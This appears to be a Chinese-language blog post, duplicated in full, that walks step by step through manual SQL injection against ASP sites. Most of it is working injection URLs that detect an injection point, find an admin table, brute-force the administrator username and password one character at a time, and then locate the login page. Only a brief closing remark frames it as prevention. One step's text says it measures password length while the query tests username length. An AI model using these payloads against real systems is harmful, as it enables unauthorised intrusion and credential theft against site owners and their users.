[quote]
1. SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。
2.在大多数站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 .
3.检测手段(and 1=1 和and 1=2)
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=1
http://www.xxx.xx/xxx/show.asp?id=xx and 1=2
[/quote]
两种返回不同页面,则找到注入点
4.试探是否存在管理员列表
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin)
[/quote]
正常返回则存在管理员列表
5. 试探密码长度
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)>5)
[/quote]
正常返回则表示密码大于5位(为什么选择5位呢?因为很多时候使用的是admin)
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username) < 13)
[/quote]
通过大于5和小与13来给确定一个范围。然后使用等于来命中密码的长度
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)="确定密码长度")
[/quote]
6. 试探用户名
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1 =(select min(id) from admin where left(username,1)='1')
[/quote]
正常返回, 确定管理员编号在第一位
7.搜索站长的ID
8.测试搜索的ID
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(username,密码的长度)='站长的ID')
[/quote]
9. 试探密码
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,1)='1')
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,密码的长度)='密码')
[/quote]
注意:
[quote]
如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。
[/quote]
10.找出管理员登陆界面
一般是后缀是:adminlogin.asp、login.asp、admin/login.asp等等
11. 登陆系统
[/quote]
先分析了SQL Injection的大致步骤。通过分析注入攻击的思维来给进行安全预防。一般情况下,如果是一个完整的系统进行开发和运行在SQL Injection将进行了很好的预防。不管在升级或者新增一个新页面或者新功能的时候,由于开发者不是整个系统的开发者或者其他什么原因。很可能出现SQL Injection点。
总结:预防SQL Injection就必须对SQL Injection有很好的了解。不要相信用户提交的数据一定要进行很好的过滤。不过现在有一些好的模板可以帮助过滤。但是编程人员一定要提高警惕。
1. SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。
2.在大多数站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号 .
3.检测手段(and 1=1 和and 1=2)
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=1
http://www.xxx.xx/xxx/show.asp?id=xx and 1=2
[/quote]
两种返回不同页面,则找到注入点
4.试探是否存在管理员列表
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin)
[/quote]
正常返回则存在管理员列表
5. 试探密码长度
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)>5)
[/quote]
正常返回则表示密码大于5位(为什么选择5位呢?因为很多时候使用的是admin)
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username) < 13)
[/quote]
通过大于5和小与13来给确定一个范围。然后使用等于来命中密码的长度
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where len(username)="确定密码长度")
[/quote]
6. 试探用户名
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1 =(select min(id) from admin where left(username,1)='1')
[/quote]
正常返回, 确定管理员编号在第一位
7.搜索站长的ID
8.测试搜索的ID
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(username,密码的长度)='站长的ID')
[/quote]
9. 试探密码
[quote]
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,1)='1')
http://www.xxx.xx/xxx/show.asp?id=xx and 1=(select min(id) from admin where left(password,密码的长度)='密码')
[/quote]
注意:
[quote]
如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。
[/quote]
10.找出管理员登陆界面
一般是后缀是:adminlogin.asp、login.asp、admin/login.asp等等
11. 登陆系统
[/quote]
先分析了SQL Injection的大致步骤。通过分析注入攻击的思维来给进行安全预防。一般情况下,如果是一个完整的系统进行开发和运行在SQL Injection将进行了很好的预防。不管在升级或者新增一个新页面或者新功能的时候,由于开发者不是整个系统的开发者或者其他什么原因。很可能出现SQL Injection点。
总结:预防SQL Injection就必须对SQL Injection有很好的了解。不要相信用户提交的数据一定要进行很好的过滤。不过现在有一些好的模板可以帮助过滤。但是编程人员一定要提高警惕。